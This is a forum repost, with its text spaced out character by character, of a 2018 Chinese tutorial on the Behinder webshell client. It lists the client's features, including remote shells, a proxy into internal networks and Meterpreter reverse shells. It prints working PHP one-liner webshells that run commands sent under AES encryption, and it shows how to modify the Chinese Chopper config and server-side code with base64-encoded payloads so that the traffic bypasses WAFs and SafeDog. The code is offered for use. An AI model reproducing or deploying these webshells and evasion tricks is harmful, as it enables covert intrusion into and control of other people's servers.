搜索

[1080] 2018-10-15_冰蝎动态二进制加密过waf并修改自己菜刀过狗

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2018-10-15_冰蝎动态二进制加密过waf并修改自己菜刀过狗 冰 蝎 动 态 二 进 制 加 密 过 w a f 并 修 改 自 己 菜 刀 过 狗 Y 4 e r   C h a B u g   2 0 1 8 - 1 0 - 1 5 文 章 较 长 ， 排 版 困 难 ， 建 议 点 阅 读 原 文 观 看 r e b e y o n d 大 大 出 的 神 器 冰 蝎 下 载 地 址 h t t p s : / / g i t h u b . c o m / r e b e y o n d / B e h i n d e r / r e l e a s e s 作 为 新 型 加 密 网 站 管 理 客 户 端 ， 冰 蝎 算 是 作 为 中 国 菜 刀 的 替 代 者 。 我 们 来 看 下 他 的 主 要 功 能 。 主 要 功 能 1 .   基 本 信 息 客 户 端 和 服 务 端 握 手 之 后 ， 会 获 取 服 务 器 的 基 本 信 息 ， J a v a 、 . N E T 版 本 包 括 环 境 变 量 、 系 统 属 性 等 ， P H P 版 本 会 显 示 p h p i n f o 的 内 容 。 2 .   文 件 管 理 这 个 没 什 么 好 说 的 ， 无 非 是 文 件 的 增 删 改 查 ， 稍 微 不 同 的 是 上 传 的 文 件 都 是 加 密 传 输 的 ， 可 以 避 免 被 拦 截 。 3 .   命 令 执 行 执 行 单 条 操 作 系 统 命 令 。 4 .   虚 拟 终 端 虚 拟 终 端 是 模 拟 了 一 个 真 实 的 交 互 式 S h e l l 环 境 ， 相 当 于 把 服 务 器 侧 的 S h e l l 给 搬 到 了 客 户 端 ， 在 这 个 S h e l l 里 可 以 执 行 各 种 需 要 交 互 式 的 命 令 ， 如 s s h 、 m y s q l 。 比 如 说 ： 我 们 可 以 在 这 个 S h e l l 里 去 s s h 连 接 服 务 器 侧 内 网 的 其 他 主 机 当 然 ， 如 果 你 习 惯 p o w e r s h e l l ， 也 可 以 弹 个 p o w e r s h e l l 出 来 ， 如 下 图 ： 5 .   S o c k s 代 理 虚 拟 终 端 功 能 其 实 就 已 经 部 分 实 现 了 内 网 穿 透 的 能 力 ， 在 S h e l l 环 境 里 做 的 所 有 事 情 都 是 在 内 网 环 境 中 的 。 不 过 为 了 方 便 使 用 其 他 工 具 ， 客 户 端 还 提 供 了 基 于 一 句 话 木 马 的 S o c k s 代 理 功 能 ， 一 键 开 启 ， 简 单 高 效 ， 顺 便 说 一 下 ， 代 理 过 程 中 所 有 的 流 量 都 是 在 s o c k s 的 基 础 上 封 装 了 一 层 A E S 。 6 . 反 弹 S h e l l 反 弹 S h e l l 是 突 破 防 火 墙 的 利 器 ， 也 几 乎 是 后 渗 透 过 程 的 必 备 步 骤 。 提 到 后 渗 透 ， 当 然 少 不 了 m e t a s p l o i t ， 提 到 m e t a s p l o i t ， 当 然 少 不 了 m e t e r p r e t e r ， 所 以 冰 蝎 客 户 端 提 供 了 两 种 反 弹 S h e l l 的 方 式 ， 常 规 S h e l l 和 M e t e r p r e t e r ， 实 现 和 m e t a s p l o i t 的 一 键 无 缝 对 接 。 当 然 常 规 的 S h e l l 也 可 以 对 接 m e t a s p l o i t ， 就 不 演 示 了 。 7 . 数 据 库 管 理
常 规 功 能 ， 实 现 了 数 据 库 的 可 视 化 管 理 ， 放 张 截 图 吧 ： 和 常 规 管 理 工 具 不 同 的 是 ， 在 J a v a 和 . N E T 环 境 中 ， 当 目 标 机 器 中 没 有 对 应 数 据 库 的 驱 动 时 ， 会 自 动 上 传 并 加 载 数 据 库 驱 动 。 比 如 目 标 程 序 用 的 是 M y S Q L 的 数 据 ， 但 是 内 网 有 另 外 一 台 O r a c l e ， 此 时 就 会 自 动 上 传 并 加 载 O r a c l e 对 应 的 驱 动 。 8 . 自 定 义 代 码 可 以 在 服 务 端 执 行 任 意 的 J a v a 、 P H P 、 C # 代 码 ， 这 也 是 个 常 规 功 能 ， 值 得 一 提 的 是 我 们 输 入 的 代 码 都 是 加 密 传 输 的 ， 所 以 不 用 为 了 躲 避 w a f 而 用 各 种 编 码 变 形 ， 效 果 请 参 考 如 下 动 图 ： 9 . 备 忘 录 渗 透 的 时 候 总 有 很 多 零 碎 的 信 息 需 要 记 录 ， 所 以 针 对 每 个 S h e l l 提 供 了 一 个 备 忘 录 的 功 能 ， 目 前 只 支 持 纯 文 本 ， 粘 贴 进 去 自 动 保 存 ： 接 下 来 我 们 看 下 他 的 亮 点 出 在 哪 里 看 下 他 的 p h p 一 句 话 < ? p h p   s e s s i o n _ s t a r t ( ) ; i s s e t ( $ _ G E T [ ' p a s s ' ] ) ? p r i n t   $ _ S E S S I O N [ ' k ' ] = s u b s t r ( m d 5 ( u n i q i d ( r a n d ( ) ) ) , 1 6 ) : ( $ b = e x p l o d e ( ' | ' , o p e n s s l _ d e c r y p t ( f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ,   " A E S 1 2 8 " ,   $ _ S E S S I O N [ ' k ' ] ) ) ) & $ b [ 0 ] ( $ b [ 1 ] ) ; ? >
为 了 代 码 可 读 性 ， 我 们 来 扩 充 下 ： < ? p h p s e s s i o n _ s t a r t ( ) ; i f   ( i s s e t ( $ _ G E T [ ' p a s s ' ] ) ) {         $ k e y = s u b s t r ( m d 5 ( u n i q i d ( r a n d ( ) ) ) , 1 6 ) ;         $ _ S E S S I O N [ ' k ' ] = $ k e y ;         p r i n t   $ k e y ; } e l s e {         $ k e y = $ _ S E S S I O N [ ' k ' ] ;         $ d e c r p t C o n t e n t = o p e n s s l _ d e c r y p t ( f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ,   " A E S 1 2 8 " ,   $ k e y ) ;         $ a r r = e x p l o d e ( ' | ' , $ d e c r p t C o n t e n t ) ;         $ f u n c = $ a r r [ 0 ] ;         $ p a r a m s = $ a r r [ 1 ] ;         $ f u n c ( $ p a r a m s ) ; } ? > 介 绍 下 流 程 首 先 g e t 发 起 带 密 码 的 请 求 ， 服 务 端 随 机 产 生 密 钥 存 入 s e s s i o n 。 获 取 s e s s i o n 中 的 密 钥 ， 然 后 将 客 户 端 发 送 的 源 代 码 进 行 a e s 加 密 ， 通 过 | 分 割 ， 然 后 通 过 p h p 的 可 变 函 数 执 行 。 具 体 一 点 ， 比 如 我 们 客 户 端 有 一 段 代 码 a s s e r t | e v a l ( " p h p i n f o ( ) ; " ) 进 行 a e s 1 2 8 加 密 发 送 给 服 务 端 ， 服 务 端 用 e x p l o d e 函 数 分 割 字 符 ， 索 引 为 0 的 是 a s s e r t ， 索 引 为 1 的 是 e v a l ( " p h p i n f o ( ) ; " ) ， 然 后 通 过 可 变 函 数 执 行 a s s e r t ( " e v a l ( " p h p i n f o ( ) ; " ) " ) ， 这 样 就 很 清 晰 明 了 了 。 过 w a f 的 效 果 常 规 一 句 话 < ? p h p   @ e v a l ( $ _ P O S T [ ' c a i d a o ' ] ) ; ? > 菜 刀 链 接 ： 新 型 一 句 话 冰 蝎 链 接 ： 对 菜 刀 的 修 改 对 这 个 一 句 话 颇 感 兴 趣 ， 那 么 我 们 是 不 是 可 以 把 菜 刀 也 改 一 改 呢 ？
我 本 地 搭 建 了 环 境 ， 一 句 话 内 容 为 < ? p h p   @ e v a l ( $ _ P O S T [ ' c a i d a o ' ] ) ; ? > 先 来 抓 包 看 下 菜 刀 的 请 求 包 在 新 版 菜 刀 2 0 1 6 的 c a i d a o . c o n f 中 4 5 行 ， % s 是 执 行 的 命 令 Z X Z h b C h i Y X N l N j R f Z G V j b 2 R l K C R f U E 9 T V F t p Z F 0 p K T s % % 3 D & i d = % s 解 密 后 e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ i d ] ) ) ; & i d = % s 那 么 我 们 的 一 句 话 可 以 这 样 写 < ? p h p i f   ( $ _ G E T [ ' p a s s ' ] ! = 1 ) { } e l s e {         $ d e c r p t   =   f i l e _ g e t _ c o n t e n t s ( " p h p : / / i n p u t " ) ;         $ a r r s   =   e x p l o d e ( " | " ,   $ d e c r p t ) [ 1 ] ;         $ a r r s   =   e x p l o d e ( " | " ,   b a s e 6 4 _ d e c o d e ( $ a r r s ) ) ;         c a l l _ u s e r _ f u n c ( $ a r r s [ 0 ] , $ a r r s [ 1 ] ) ; } ? > 你 也 可 以 这 样 来 < ? p h p $ d e c r p t   =   $ _ P O S T [ ' x ' ] ; $ a r r s   =   e x p l o d e ( " | " ,   $ d e c r p t ) [ 1 ] ; $ a r r s   =   e x p l o d e ( " | " ,   b a s e 6 4 _ d e c o d e ( $ a r r s ) ) ; v a r _ d u m p ( $ a r r s [ 0 ] , $ a r r s [ 1 ] ) ; c a l l _ u s e r _ f u n c ( $ a r r s [ 0 ] , $ a r r s [ 1 ] ) ; ? > 那 么 我 们 菜 刀 要 改 下 | a s s e r t | e v a l ( b a s e 6 4 _ d e c o d e ( $ _ P O S T [ i d ] ) ) ; | & i d = % s 在 c a i d a o . c o n f 的 4 5 行 就 要 改 成 | Y X N z Z X J 0 f G V 2 Y W w o Y m F z Z T Y 0 X 2 R l Y 2 9 k Z S g k X 1 B P U 1 R b a W R d K S k 7 | & i d = % s 这 样 和 冰 蝎 实 现 的 效 果 就 一 样 了 ， 同 样 过 狗 ， 愉 快 玩 耍 吧 ！ 涉 及 到 的 资 料 ， 表 示 感 谢 ！ h t t p s : / / w w w . t 0 0 l s . n e t / t h r e a d - 4 8 0 7 9 - 1 - 1 . h t m l h t t p s : / / x z . a l i y u n . c o m / t / 2 7 7 4 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理